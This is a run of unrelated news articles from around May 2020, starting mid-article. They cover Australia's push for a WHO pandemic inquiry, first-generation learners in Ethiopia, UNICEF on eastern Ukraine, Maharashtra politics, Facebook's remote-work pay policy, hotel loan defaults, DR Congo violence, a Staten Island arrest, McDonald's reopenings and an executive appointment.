Payne says the motion was about "collaborating to equip the international community to better prevent or counter the next pandemic and keep our citizens safe". "Australia has been clear and transparent in our actions and we have sought transparency and openness in the wake of the greatest global crisis since World War II," Payne says. "This approach has helped us to gain significant international support, building on Australia's strong track record in containing COVID-19 at home." Loading One of the big concerns about the WHO's performance during the global pandemic was its lack of resources and powers. Morrison has suggested the UN body should have the powers of weapons inspectors to forcibly enter countries to investigate outbreaks. Lowy Institute executive director Michael Fullilove says the reason that the WHO's powers are limited is because its member states have never wanted to be subject to more powers. "And so the reason it's hard to get a weapons inspector model up is that most nation states don't want to give an international organisation that power to come into their own territory and examine their entrails," Fullilove says.

"And so, when a crisis happens, we all say 'these institutions are weak'. But before the crisis, we wanted them to be weak or we allowed them to be weak. We didn't fund them properly." Fullilove says the WHO's director-general, Tedros Adhanom Ghebreyesus, has been too deferential to China, overlooking its mistakes and not pushing it hard enough for answers early on in the outbreak. WHO chief Tedros Adhanom Ghebreyesus (left) meets Chinese President Xi Jinping in Beijing in January. Credit:Getty, digitally altered "One lesson for Australia, I think, is that we've rarely been interested in playing the politics of actively and aggressively promoting candidates for international positions," he says. "But it's important that we do that, because the difference between a good UN secretary-general and a bad one is profound. And the difference between a good WHO director-general and a bad one is significant." "It's a good time for Australia to reflect on how international institutions matter to us. We go through periods when we write off international institutions, but the truth is that for a country of our size, which regards itself as having global interests but doesn't have global capacities, having functioning international institutions that we can influence is obviously in our interest."

The general view within the senior ranks of the Australian government is there have been problems with the executive and leadership of the WHO, and the buck stops with Tedros. How Australia now goes about improving the leadership of the UN body is an open question. If the world is entering a new phase of a major power contest between the US and China, then it is worth considering how multilateral organisations fared during the last Cold War. While bodies like the Security Council were effectively frozen as the US and the Soviet Union engaged in veto wars, specialist agencies like the WHO prospered in some areas. At the height of tensions, Viktor Zhdanov, deputy health minister of the USSR, called for the WHO to launch a global campaign to eradicate smallpox. A little over 20 years later, with tensions still high between the superpowers, the WHO declared the eradication of smallpox in 1980. Dr Mike Ryan, executive director of WHO's health emergencies program, says the success at the height of the Cold War was the result of "pure scientific collaboration". Ryan was recently in meetings with colleagues from Russia and the US talking about how to celebrate 40 years of smallpox eradication. "We were talking about those heroes who are left; most are people in their 80s and their 90s now, a generation who worked together at the height of the Cold War across ideological, geographic boundaries and rid this world of a huge scourge," he says.
Surging numbers of first-generation learners being left behind in global education

'First-generation learners' - a substantial number of pupils around the world who represent the first generation in their families to receive an education - are also significantly more likely to leave school without basic literacy or numeracy skills, a study suggests.

Research by academics at the Faculty of Education, University of Cambridge, Addis Ababa University and the Ethiopian Policy Studies Institute, examined the progress of thousands of students in Ethiopia, including a large number of 'first-generation learners': children whose parents never went to school.

The numbers of such pupils have soared in many low and middle-income countries in recent decades, as access to education has widened. Primary school enrolment in Ethiopia, for example, has more than doubled since 2000, thanks to a wave of government education investment and reforms.

But the new study found that first-generation learners are much more likely to underperform in Maths and English, and that many struggle to progress through the school system.

The findings, published in the Oxford Review of Education, suggest that systems like Ethiopia's - which a generation ago catered mainly to the children of an elite minority - urgently need to adapt to prioritise the needs of first-generation learners, who often face greater disadvantages than their contemporaries.

Professor Pauline Rose, Director of the Research for Equitable Access and Learning (REAL) Centre in the Faculty of Education, and one of the paper's authors, said: "The experience of first-generation learners has largely gone under the radar. We know that high levels of parental education often benefit children, but we have considered far less how its absence is a disadvantage."

"Children from these backgrounds may, for example, have grown up without reading materials at home. Our research indicates that being a first-generation learner puts you at a disadvantage over and above being poor. New strategies are needed to prioritise these students if we really want to promote quality education for all."

The study used data from Young Lives, an international project studying childhood poverty, to assess whether there was a measurable relationship between being a first-generation learner and children's learning outcomes.

In particular, they drew on two data sets: One, from 2012/13, covered the progress of more than 13,700 Grade 4 and 5 students in various Ethiopian regions; the other, from 2016/17, covered roughly the same number and mix at Grades 7 and 8. They also drew on a sub-set of those who participated in both surveys, comprising around 3,000 students in total.

Around 12% of the entire dataset that includes those in school were first-generation learners. The researchers found that first-generation learners often come from more disadvantaged backgrounds than other pupils: for example, they are more likely to live further from school, come from poorer families, or lack access to a home computer. Regardless of their wider circumstances, however, first-generation learners were also consistently more likely to underperform at school.

For example: the research compiled the start-of-year test scores of students in Grades 7 and 8. These were standardised (or 'scaled') so that 500 represented a mean test score. Using this measure, the average test score of first-generation learners in Maths was 470, compared with 504 for non-first-generation pupils. In English, first-generation learners averaged 451, compared with 507 for their non-first-generation peers.

The attainment gap between first-generation learners and their peers was also shown to widen over time: first-generation learners from the Grade 4/5 cohort in the study, for example, were further behind their peers by the end of Grade 4 than when they began.

The authors argue that a widespread failure to consider the disadvantages faced by first-generation learners may, in part, explain why many low and middle-income countries are experiencing a so-called 'learning crisis' in which attainment in literacy and numeracy remains poor, despite widening access to education.

While this is often blamed on issues such as large class sizes or poor-quality teaching, the researchers say that it may have more to do with a surge of disadvantaged children into systems that, until recently, did not have to teach as many pupils from these backgrounds.

They suggest that many teachers may need extra training to help these pupils, who are often less well-prepared for school than those from more educated (and often wealthier) families. Curricula, assessment systems and attainment strategies may also need to be adapted to account for the fact that, in many parts of the world, the mix of students at primary school is now far more diverse than a generation ago.

Professor Tassew Woldehanna, President of Addis Ababa University and one of the paper's authors, said: "It is already widely acknowledged that when children around the world start to go back to school after the COVID-19 lockdowns, many of those from less-advantaged backgrounds will almost certainly have fallen further behind in their education compared with their peers. This data suggests that in low and middle-income countries, first-generation learners should be the target of urgent attention, given the disadvantages they already face."

"It is likely that, at the very least, a similar situation to the one we have seen in Ethiopia exists in other sub-Saharan African countries, where many of today's parents and caregivers similarly never went to school," Rose added.

"These findings show that schooling in its current form is not helping these children to catch up: if anything, it's making things slightly worse. There are ways to structure education differently, so that all children learn at an appropriate pace. But we start by accepting that as access to education widens, it is inevitable that some children will need more attention than others. That may not be due to a lack of quality in the system, but because their parents never had the same opportunities."

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This story has been published on: 2020-05-22. To contact the author, please use the contact details within the article.
The UN childrens agency is calling for all parties to the deadly conflict in eastern Ukraine to commit to a cease-fire and end more than six years of fighting, as an increase in shelling has resulted in numerous child casualties and damaged schools since the beginning of the year.



In a press release on May 21, UNICEF said the surge in attacks combined with restrictions of movement imposed to stem the spread of the coronavirus is "making life even more unbearable" for the approximately 430,000 children caught up in the fighting between Ukrainian government forces and Russia-backed separatists.



"It is unconscionable that children and families in eastern Ukraine are not only having to cope with the strict lockdown measures all families are struggling with across Europe, but also the constant threat that their homes could come under attack," said Afshan Khan, UNICEFs regional director for Europe and Central Asia.



Children and families in eastern Ukraine, where the conflict has killed more than 13,000 people since April 2014, "urgently need peace," she added.



There have been 10 conflict-related child casualties since the beginning of this year -- double the number of child casualties compared to the same time period last year, UNICEF said.



During the first week of May, six children were wounded at home after their villages came under shelling. Three young girls, two of them sisters, aged 7 and 10, and the other a friend, also aged 7, were severely injured in one incident.



The UN agency also mentioned nine attacks on schools, including five in April. In one of them, a 17-year-old girl was wounded by shrapnel while in her schoolyard.

'Emotional Trauma'



The attacks occurred despite the fact that Ukraine in November became the 100th country to endorse the Safe Schools Declaration, an intergovernmental political document which contains concrete commitments to better protect students, teachers, schools, and universities from the effects of war.



Families across Ukraine, including those living in the conflict-affected Donetsk and Luhansk regions, have been in lockdown since the end of March due to the coronavirus pandemic. As of May 21, the country has reported more than 19,700 cases of COVID-19 confirmed, including over 570 deaths.



The lockdown leaves "many children living near the 'contact line' -- where fighting is most severe -- with no real way to continue their education, due to limited Internet connectivity and access to necessary equipment, according to UNICEF.



"The emotional trauma caused by movement restrictions, school closures, and isolation will only intensify the already high levels of stress that vulnerable children who live in the frontline communities have to contend with," the UN body said.



The statement also noted that UNICEF is appealing for $23 million for a COVID-19 response in Ukraine.



Thats in addition to a humanitarian appeal of $9,8 million, which remains underfunded by 73 percent, to support families with children in the conflict-affected regions.
The Bharatiya Janata Party (BJP) versus the Maharashtra Vikas Aghadi (MVA) battle was on full public display on Friday as the former held its Maharashtra Bachao (Save Maharashtra) agitation, with party workers across the state in black masks, unfurled banners slamming the Thackeray-led government over its handling of the coronavirus pandemic.

Two months after the first coronavirus case was identified in the state and a week after Chief Minister Uddhav Thackeray secured his nomination to the Legislative Council, the BJP announced that it would no longer stay quiet and spoke out against the governments ineffectual tackling of the pandemic.

As part of its agitation, state BJP unit party workers were seen in social and broadcast media shouting slogans against the Thackeray government, holding placards in a symbolic protest. The protests were held outside their homes, state, district and city party offices in a move to roll out a campaign and to generate a sentiment against the government.

The BJP has also demanded an independent fiscal package worth Rs 50,000 crore for farmers, daily wage earners in the state to combat Covid-19.

The Shiv Sena and other ruling parties did not take this lightly and slammed the Opposition for playing politics amidst a full blown disaster. They also hit back on social media. And, by late afternoon on social media, both the BJPs Maharashtra Bachao and the state Congress Maharashtra Drohi (Maharashtras traitors) were viral but the former was lagging behind the latter.

The maximum number of coronavirus cases and maximum deaths are in Maharashtra. The public health system has completely collapsed due to the state governments failures. For how long can we co-operate with the government. How much can the people tolerate? asked Fadnavis, who protested along with his party colleagues outside the state BJP office.

A day earlier, Fadnavis had upped the ante targeting Thackeray directly as someone who was new and made strategic failures as he lacked administrative experience.

The former CM has also alleged that the state and the city have reduced testing of patients in a bid to bring down the Covid-19 positive cases. He has alleged that despite having a capacity of conducting 10,000 tests, the BMC was conducting only around 4,500 tests daily.

Sena Yuva chief and tourism minister Aaditya Thackeray in response to BJPs protest tweeted : One political party state unit has set a new low and a new world record  the only party in the world to indulge in politics and in spreading fear, hate and division when the world has forgotten all of it to help each other. This party has forgotten the pandemic.

Re-tweeting another photo where children are wearing black clothes, holding BJP flags and protesting, Thackeray said, Absolutely shameful, what lust for power politics can make leaders do. Making children stand in heat, with their masks lowered, not covering their faces for a political protest when we need to keep them safe and indoors.

Maharashtra Drohi hashtag has become viral across the country because people realise the true picture of the BJP. In the face of such a horrific disaster, only they can think of politicslet people die, we want power, is their mantra, Congress spokesperson Sachin Sawant said.
Facebook employees will have the option to permanently work from home, but can expect a pay cut if they move to less expensive areas to continue the job.

Facebook CEO Mark Zuckerberg announced via livestream that he expects about 50 per cent of the company's 50,000 staffers to work remotely within the next five to 10 years.

A blind survey found 66 percent of employees at tech hubs like Facebook, Twitter and Uber would move away from major cities if working from home becomes permanent.

Similarly, Spotify followed Twitter and Facebook's lead to allow staffers to work from home until the end of the year.

Certain employees will be allowed to work remotely full time and will need to notify Facebook of any location changes by January 1, 2021.

But employees who hoped to take their large Silicon Valley paychecks with them if they moved to a less costly region have run into a caveat.

Facebook CEO Mark Zuckerberg (pictured) revealed that employees will be able to work from home permanently, but will take a pay cut based on their area's cost of living

'That means if you live in a location where the cost of living is dramatically lower, or the cost of labor is lower, then salaries do tend to be somewhat lower in those places,' said Zuckerberg.

'Well adjust salary to your location at that point. Therell be severe ramifications for people who are not honest about this,' he added.

As of 2018, the median staff salary at the giant tech company was more than $240,000 annually.

Zuckerberg has taken a base salary of just $1 for the last three years, but received $22million in compensation by way of security in 2018. Nearly $3million went towards private jets, according to Reuters.

Menlo Park, the California city where Facebook is headquartered, has a median home price of $2.4million.

Facebook's headquarters sits in California's Menlo Park, where the median home price is $2.4million

The company's New York City office is settled in Manhattan (pictured) where homes sell for a median price of $945,000

The median income in the larger Bay Area is nearly $1.5million less at $928,000, according to Zillow.

Facebook's New York City office is found in Manhattan, which has a median income of $82,459 and a median price of homes sold is $945,500.

The median price of homes currently listed is $1.5million in Manhattan.

Zuckerberg said the move to working remotely will help diversify Facebook's staff and hiring pool.

'When you limit hiring to people who either live in a small number of big cities or are willing to move there, that cuts out a lot of people who live in different communities, different backgrounds or may have different perspectives,' he said.

'Certainly being able to recruit more broadly, especially across the U.S. and Canada to start, is going to open up a lot of new talent that previously wouldnt have considered moving to a big city.'

Zuckerberg (pictured) said there will be 'severe ramifications' for employees who lie about their home address to keep their Silicon Valley salary

If given the option, it seems that employee at major Silicon Valley firms and other major hubs would move away from the bustling centers.

A survey, by Blind, asked staff from more than 4,000 companies in Seattle, San Francisco and New York if they would relocate after working from home as part of the COVID-19 crisis.

New Yorkers were the most eager to flee, with 39 percent saying they would leave if given the chance.

The results vary by company and by region and the majority of the respondents (2,768) worked in the Bay Area.

Thirty-three percent of Bay Area residents said they'd stay, 27.49 percent said they'd move out of the city and 27 percent said they'd move out of California.

Eleven percent said they'd even leave the US.

A third of the New York workers also said they'd stay in the city, 17 percent said they'd leave the city, and 35 percent said they would leave the state.

Fifteen percent said they would move overseas.

In Seattle, 37 percent said they would stay in the city, 19 percent said they'd leave but stay in-state, and 26 percent said they would move out of state. Sixteen percent said they'd leave the country.

Fourteen percent of the workers said they anticipated never going into the office again, and 44 percent said they imagined only going in once or twice a week.

Only 15 percent said they imagined going in every day again.

Of the 354 Amazon employees from Seattle who answered, 32 percent said they would stay put, 24 percent said they would move out of the city and 26 percent said they would leave the state.

Thirty-one percent of the Google employees from the Bay Area interviewed said they would move out of state.

Two thirds of the Uber employees interviewed in the Bay Area said they'd move either out of the city or out of California.

A quarter of the Facebook employees surveyed in the Bay Area said they would move out of state.

Music streaming giant Spotify is the latest tech firm to announce that it will allow its employees to work from home until at least the end of 2020 as countries begin to lift the coronavirus lockdown.

Yesterday, we announced the extension of our work-from-home arrangement for all Spotify employees globally, a company spokesperson told DailyMail.com.

We will continue to track local government guidelines city-by-city and take a phased approach of opening our offices when we deem it safe to do so.

Our employees health and safety is our top priority.

No employee will be required to come into the office and can choose to work from home through the end of the year.

Spotify has confirmed that it will allow its 4,400-person workforce to work from home through the end of this year

Spotify, the Swedish company, says it employs 4,405 full-time people. It says it has offices in 79 countries and territories around the world.

Around half of the workforce  2,121 employees  are based in the United States.

The company employs 1,437 full-time workers in Sweden.

On Thursday, Zuckerberg's Facebook livestream feed shut off while he was talking to employees about his prediction that more than half of the company will be working from home permanently by 2030.

He was nearly done with his discussion about the future of the company's 50,000-person workforce during a livestream on Thursday when it suddenly cut out and an error screen appeared.

Zuckerberg did manage to finish most of his discussion which began with him saying: 'I think it's clear that COVID has changed a lot about our lives. That certainly includes the way that most of us work.'

'We've already told people that through 2020, they can chose to work from home,' he said, adding that 95 per cent or more of the company's employees are currently working from home.

'We are going to be the most forward-leaning company on remote work at our scale, with a thoughtful and responsible plan for how to do this,' Zuckerberg said.

'But we're going to do this in a measured way over time'.

Mark Zuckerberg's Facebook livestream feed shut off (error screen, right) while he was talking to employees about his prediction that more than half of the company will be working from home permanently by 2030

The billionaire then went on to give his prediction for the future. 'I think that it's quite possible that over the next five to 10 years about 50 per cent of our people could be working remotely.

'That's not a target or goal,' Zuckerberg said, before pointing to the survey results from Facebook employees that found there is a lot of demand to continue working from home.

With the permanent remote work, Facebook has outlined criteria for an individual's eligibility.

First, an employee must be experienced. Secondly, Zuckerberg said employees must have 'very strong recent performances, which includes two meets-all expectations or above ratings'.

Zuckerberg said the employees must be 'a part of a team that is supporting remote work'.

Lastly, 'you have to start by getting approval from your group leader,' Zuckerberg added.

Zuckerberg's announcement comes as businesses (file image, employees working from home) adjust to the impact of COVID-19, which is also expected to reshape the future of office spaces after the pandemic retreats

Zuckerberg's announcement comes as businesses adjust to the impact of COVID-19, which is also expected to reshape the future of office spaces after the pandemic retreats.

Shopify also recently made a similar announcement.

Tobi Lutke, the CEO of Canadian e-commerce firm Shopify declared on Thursday the end of 'office centricity' and decided to keep company offices closed till 2021, allowing most employees to work remotely on a permanent basis after that.

Ottawa-based Shopify, which briefly became Canada's most valuable company earlier this month, had more than 5,000 employees and contractors worldwide as of December.

'As of today, Shopify is a digital by default,' Lutke, who is also the founder of Shopify, said in a tweet. 'We will keep our offices closed until 2021 so that we can rework them for this new reality. Office centricity is over.'

Square Inc and Twitter recently allowed employees to continue working from home permanently.
REDWOOD CITY (BCN)  The Pleasanton-based chain Specialty's Cafe and Bakery closed its doors this week, but before the business bid its final farewell, it offered one last treat to its customers Thursday at its warehouse in Redwood City.

Boxes of 90 frozen cookie pucks in all flavors were being given away to the public. From white chocolate macadamia nut to peanut butter chocolate cookie dough, lines were drawn with chalk outside the warehouse to separate the boxes of cookie flavors.
The Delicate Balance for Hotel Owners in This Crisis Between Defaulting and Protecting a Portfolio

Not all of Dallas hotelier Monty Bennetts hospitality companies are in as much debt as Ashford Hospitality Trust. But that doesnt mean they arent looking for similar financial relief during the coronavirus crisis.

Braemar Hotels & Resorts is part of the trio of Bennetts companies  the others being Ashford Trust and Ashford Inc.  that collectively were among the biggest beneficiaries of a $660 billion coronavirus relief fund aimed at small businesses. Bennett returned the money after receiving intense scrutiny over whether the cash-rich companies needed the small business loans. Braemars leaders looked to protect cashflow by temporarily shutting down 11 of the lodging real estate investment trusts 13 hotels as well as defaulting loans.

Id say when our business started to really slow down, it happened very quickly and there was a lot of uncertainty in what the future would look like, said Braemar Chief Financial Officer Deric Eubanks, who holds the same title at Ashford Trust, Friday on a first quarter earnings call. We went into cash conservation mode.

Get the Latest on Coronavirus and the Travel Industry on Skifts Liveblog

Braemar did not make principal or interest payments on nearly all of its hotel loans beginning April 1, according to the companys first quarter earnings report released Thursday afternoon. The company lost $15.5 million in the first quarter, and revenue per room for the companys 13 hotels declined nearly 15 percent in the same time frame.

Braemars $1.1 billion in mortgage loans is less than Ashford Trusts $4.1 billion in mortgages, but Braemar is also a smaller company, with 13 hotels compared to Ashfords 116 properties. Unlike Ashford, Braemars leaders hinted they were having better success in negotiating forbearance terms with lenders. Ashford Trust CEO J. Robison Hays said on a Thursday earnings call forbearance talks with lenders were very frustrating.

Story continues

Braemar CEO and President Richard Stockton had a different tone with respect to his companys lenders, calling talks extraordinarily constructive and that lenders were being patient. He did not provide details on forbearance terms being discussed, but Eubanks on Thursday repeatedly mentioned Ashford was seeking three to six-month terms.

As Deric said, we panicked early in the abundance of caution, Stockton said. Given the lack of clarity of the duration of this crisis, it was absolutely the right thing to do. Theres still more wood to chop.

Stockton may have had a different experience with forbearance talks, but, like Hays with Ashford Trust, he did not mention Braemars association with the Paycheck Protection Program scrutiny during Fridays earnings call.

Off the Table

Ashford Trusts leadership said everything was on the table with respect to financially saving the company, including giving up assets in the 113-hotel portfolio. Hays indicated forbearance time would be used more for determining which assets to protect and which would be shed instead of hoping the three to six months would allow a financial recovery.

Stockton didnt share that asset-shedding mindset Friday.

Braemar ended the first quarter with nearly $142 million cash on hand and has enacted cost-savings measures like staff furloughs, temporarily closing a bulk of its portfolio, and renegotiating or cancelling service contracts. Company leaders briefly considered selling assets to shore up more liquidity.

When we first caught site this tidal wave was heading toward us, we went into the market to test the [hotel property sales] appetite, Stockton said. Demand for hotel assets collapsed very quickly.

The hotel real estate market isnt as dead as one may think, according to Braemars chief executive. But buyers are expecting significant price discounts. Well-capitalized private equity funds and family offices are still looking to deploy capital into hotel assets. But their pricing expectations are around 30 to 40 percent below pre-coronavirus valuations, Stockton said.

For us, given our strong liquidity position, we felt it wasnt necessary to sell assets at that prices, he added. For that level of pricing, we felt there were other options out there to generate liquidity that were more favorable.

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New Delhi :

Rashtriya Swayamsevak Sangh (RSS) Chief Mohan Bhagwat, while addressing a large gathering of university and college teachers in Agra on Saturday, said that to improve the current education system we have to change our attitude towards it.



He said, We need to change ourselves in order to change the society at large. If we want to improve our education system, we have to change ourselves first. The event was organised by the RSS.



Moreover, while answering to a question on RSS's stand on the "disproportionate" rise in population of Muslims, Bhagwat said that there is no law in the country that prevents Hindus from having more children.



Which law asked Hindus to produce fewer children? If their (Muslim) population is increasing then why your numbers are not growing? the 65-year-old RSS leader asked.



This is not the question of system but of society. These decisions are personal and they need to be taken keeping all three, personal, family and national interest in mind, he added while addressing educationists drawn from 12 districts of Western UP.



Besides, speaking on Hindutva he said it is ingrained in the fabric of India and that is why Hindutva is nationalism. What is quite easy to understand is that Hindutva is the quality of Bharat and that is why Hindutva is rashtriytva [nationalism], said Mr. Bhagwat.



Also he, in his long lecture on being Hindu and Hindu culture, said Bharat and Hindu have the same meaning and the entire world describes India as Hindu.



He referred to the BJP government at the Centre and said that the RSS could not solve problems directly but produces swayamsevaks who can make a difference and change the system.



Furthemore, on suggestions and concerns raised by the teachers for salaries and change in education system, Bhagwat said that he will convey their messages to the education ministry or they, on their own, can send a detailed letter to the Union Education minister.



He also said, For a long and stable change in the system in the national interest, I appeal to newcomers to this conference to come to the RSS shakha (office) and see for yourself. This is the way.

For all the Latest India News, Download News Nation Android and iOS Mobile Apps.
Fighting in eastern Democratic Republic of Congo has forced hundreds of thousands of people from their homes Fighting in eastern Democratic Republic of Congo has forced hundreds of thousands of people from their homes (AFP Photo/PHIL MOORE)

Goma (DR Congo) (AFP) - Coronavirus has swiftly gained status as the world's No. 1 threat but in eastern DR Congo, one of Africa's most volatile regions, militia killings and ethnic violence are an older and -- for now -- far greater source of dread.

Some 2,000 kilometres (1,200 miles) distant from the capital Kinshasa, this beautiful region bordering Uganda, Rwanda and Burundi has been a notorious flashpoint since the Congo Wars of the 1990s.

"The COVID-19 crisis must not make us forget the atrocities which are taking place in the east of the Democratic Republic of Congo," 2018 Nobel peace laureate Denis Mukwege said on Tuesday.

In the provinces of Ituri and North Kivu, "civilians are being massacred," he said.

"In South Kivu, Rwandan and Burundian armies are battling armed groups in the high plateaus of Minembwe, destroying everything in their wake," Mukwege said.

"And in Tanganyika, the Zambians who had until now had good neighbourly relations with DR Congo... recently invaded our territory."

Mukwege co-won the coveted prize for his treatment in helping women raped by armed rebels in South Kivu.

The Kivu Security Tracker, an NGO which documents bloodshed in the two Kivu provinces, said March was one of the least violent months it had recorded -- 47 deaths against 87 on average.

"But since then, the violence has resumed," an expert with the group said. April saw 85 civilian deaths and 60 incidents, which was higher than the average of 51.

Since November, more than 400 civilians have been butchered in North Kivu province by the Allied Democratic Forces (ADF), a mainly Muslim militia.

In Ituri province, nearly 300 civilians have been killed and around 200,000 have fled their homes since March.

The authorities blame the crisis on a political-religious sect called the Cooperative for the Development of Congo (CODECO).

The organisation is mainly drawn from the Lendu ethnic group, who are predominantly farmers and clash repeatedly with the Hema community of traders and herders.

Story continues

North Kivu and Ituri are also hosting an epidemic of Ebola, which has killed 2,279 people since August 2018.

Militia violence has badly hampered the effort to end the outbreak, which depends on grassroots work to isolate cases and trace people who have been in contact with them.

Nearly 1,600 cases of coronavirus have been recorded in the DRC, but fewer than two dozen have occurred in the east.

- Not just coronavirus -

For displaced people in Ituri, "I don't think that COVID-19 is the prime worry," said Avra Fiala of Doctors Without Borders (MSF).

"They have makeshift shelters, sometimes no shelter at all, no showers, not enough toilets."

The UN children's agency Unicef said that worsening violence had destroyed 22 health centres in North Kivu, wiping out stocks of vaccines, while more than 160 schools had been damaged or looted.

"Conflicts do not stop with epidemics," said Fatima Sator, a spokeswoman for the International Committee of the Red Cross (ICRC).

"Coronavirus adds to a long list of existing (health) problems -- various armed conflicts, other epidemics such as measles, cholera, Ebola, malaria, and very great difficulties for the public to access treatment."

Sator said the ICRC was "continuing our work in the east, but adapting to the measures to prevent coronavirus."

For instance, aid workers, in their "awareness sessions" with armed groups, no longer carry out such contacts face-to-face but over the phone.
For one client in the New York suburbs, hed been tasked with creating a classic white kitchen, but he wanted to add some personality. The client loved checks and plaids, so a decorative painter painted a green checkered design on a canvas and then installed it on the ceiling. The color matches the green on the kitchen island, so it ties the room together and makes the space feel that much more special.

The positive reaction to that ceiling spurred Mendelsons team to include them in other projects. We quickly realized how impactful and powerful they can be. It immediately makes the space feel like one-of-a-kind. In almost every project we do now, theres some ceiling treatment.

He turned traditional Tudor style on its ear in another project by creating a modern design made of oak for the ceiling. And in a Hamptons retreat, faux-wood wallcovering from the French firm Nobilis added a beachy feel to the ceiling, punctuated with fresh Lilly Pulitzer-esque green paint.

As well as millwork and wallpaper, Mendelsons done custom hand-painting on ceilings. It sets it apart from the rest of the home, and gives the space its own personality, he said.
STATEN ISLAND, N.Y.  This is one lawyer whos on the wrong side of the law.

Attorney Michael Don is sitting in a jail cell after authorities busted him Wednesday during a raid at his Eltingville home in which they allegedly recovered a cache of guns and 1,000 opioid pills.

The takedown occurred on the 200 block of Noel Street, a tree-lined residential block near Blue Heron Park.

Authorities targeted Don, 52, after tracking several packages containing the opioid tapentadol from Germany to the defendants home, said prosecutors.

Don was the only person there when investigators showed up at his door with a warrant, a criminal complaint said.

Inside, authorities found five guns  a .223-caliber AR-15 rifle, a 7.62-caliber AK-47 rifle, a loaded .380-caliber handgun, a .45-caliber Colt handgun and an Ithaca 45-caliber handgun, said the complaint.

Magazines containing bullets were next to each of the .45-caliber weapons, the complaint said.

The AR-15 and AK-47 rifles were inside a duffel bag which had ammunition for both guns, said the complaint.

Besides the firearms, investigators seized four packages of tapentadol, which is highly addictive, prosecutors said.

District Attorney Michael E. McMahon said Dons arrest resulted in a significant seizure of deadly firearms and a large stash of opioids.

The bust stemmed from a joint investigation among his office, Homeland Security Investigations New York, the U.S. Postal Inspection Service, the U.S. Customs and Border Protection and the Police Department.

My office, led by our Narcotics-Investigations Bureau, will continue to work with our partner agencies to build strong cases in order to get drugs and guns off the street and keep our Staten Island communities safe, said McMahon.

Don was charged with multiple felony counts of criminal possession of a controlled substance, criminal weapon possession and criminal firearm possession.

Hes also charged with misdemeanor counts of drug and weapon possession.

The defendant could face up to 20 years in prison if convicted at trial of the top count, first-degree criminal possession of a controlled substance.

Don was arraigned Thursday in Criminal Court.

He is being held in lieu of $50,000 bond or cash bail. His next court date is June 22.

Defense lawyer Olivia Clement declined comment on the case.

Online state court records show Don was admitted to practice law in New York in February 1999. He is currently registered and has no record of public discipline.
Huge sprawling queues have been seen this week as people rush to get their McDonalds fix, after the fast food company re-opened a selection of restaurants for drive thru.

After the Government eased lockdown restrictions McDonalds opted to re-open 33 stores around the country on Wednesday for pick-up meals, while a further six are providing a delivery service.

Staggering footage showed vehicles snaking up and down roads waiting to access the restaurants, with many people having to wait over two hours to get their food.

Videos soon emerged on social media, after members of the public filmed the queues in utter disbelief, including one showing a seemingly endless stretch of traffic waiting to access the McDonalds A41 Watford restaurant.

Aghast, the individual filming the video could be hear saying: 'How badly do they want a big mac!? That's a two hour wait for some nuggets.'

McDonald's released a statement claiming that branches would shut if the queues were too long, after expecting a big turn out following the eased re-opening.

Huge queues snaked up and down streets as McDonalds re-opened for drive thru in Sutton

Cars piled up as people became desperate to get their favourite fast food fix. Pictured: a full queue outside the drive-thru in Hounslow

In Peterborough vehicles remained stationary in the carpark as the McDonalds battled to deal with the high demand of drive-thru customers

A spokesman told the Sun: 'We expect a high demand across all locations. We are working closely with local authorities and we may determine it is necessary to close our drive-thru lane if queues can cause disruption or put our employees or customers at risk.'

After choosing a selection of the sites to re-open across the country, the majority of restaurants back serving the people are found in the south of England.

The fast-food chain has also reopened six of its restaurants in Dublin as drive-thrus.

McDonalds have opted to re-open 33 stores around the country with six more delivering

Staff have been issued with gloves and masks, while perspex screens are installed at all drive-through windows and inside the kitchen areas

Safety measures also had to be put in place at the various re-opened locations, in order to both maintain the practice of social distancing amid the ongoing pandemic and also keep tempers in check during the tiresome queues.

Police were called to the Boongate store in Peterborough after huge numbers of customers rushed to the shop when it re-opened at 11am on Wednesday morning.

McDonalds have made the call regarding safety for their workers, and have put measures in place to minimise the risk of coronavirus spread.

Perspex screens are installed at all drive-through windows and staff will be given protective equipment, the firm have said.

Upon arrival at work, all staff will have their temperatures monitored, while screens will also be present in the kitchen areas.

The McDonalds outlets in southern England, and Ireland, which have reopened to the public

The fast food giant hopes to reopen all drive-thru operations over the next month, following a complete shutting down period in late March during lockdown.

McDonald's's latest round of re-openings comes after 15 of its restaurants in the South East of England were reopened through food couriers Deliveroo, with the fast food outlet offering a limited menu and putting a spending cap at 25 per order.

A statement from McDonald's said: 'With restaurant teams adjusting to new procedures to enable safe working and social distancing, things may take a little longer - and high demand is anticipated.

'McDonald's and its franchisees are working closely with local authorities and the police, and may determine that it is necessary to close Drive Thru lanes if queues cause disruption at busier sites or put employees or customers at risk.'

People from the North of the UK have slammed the chain after it emerged that all the re-opened branches are in southern England.

Twitter users were quick to react to the news with Northerners, in particular, expressing outrage over the locations chosen by the company.

'So instead of spreading the stores throughout the UK you open only Southern stores with some multiple stores even in the same town? Senseless!' one user, @KelEll said.

Kyle Thornton said, 'As usual the north is forgotten about.' While Kat Slyper questioned, 'Why are they all down south is there something wrong with the north and Scotland???'

Branches circling London have been among the first to open, as McDonalds trials its reintroduction into daily public life.

Drive thru facilities were particularly congested in Hounslow, Staines, Bobbing, Medway and Watford.
[May 22, 2020] Financeit Appoints Fintech Leader Andrew Lo as President

TORONTO, May 22, 2020 /CNW/ - Financeit is pleased to announce the appointment of new company President, Andrew Lo. Andrew joined Financeit in early 2020 in a consultative role and was appointed by CEO, Michael Garrity, to President effective May 10th. Andrew will be an integral member of the senior management team. Andrew is a digital thought leader and influencer who frequently shares his expertise at insurance and financial services conferences across Canada. He recently served as President & CEO of Kanetix Ltd., Canada's largest digital acquisition platform for insurance and financial services. The organization was sold to the Ontario Teachers Pension Plan in 2018. Prior to this, Andrew served in senior executive roles in FinTech companies such as Filogix and D+H (now Finastra), where he ocused on growing organizations from startups into industry shaping ventures with over 5,000 employees.



Andrew brings a wealth of experience, character, and expertise that will drive successful business outcomes. He has over 20 years of transformative success with a deep understanding of technology, and a keen eye for digital solutions. "As we continue to focus on category leadership in both cloud-based point of sale financing and lead generation management solutions for global enterprise clients, Andrew's experience as a senior executive in technology enabled companies in both financial services and demand generation makes him a unicorn type of addition to our leadership team," said CEO Michael Garrity, "This is a strategic addition I couldn't be happier to announce".

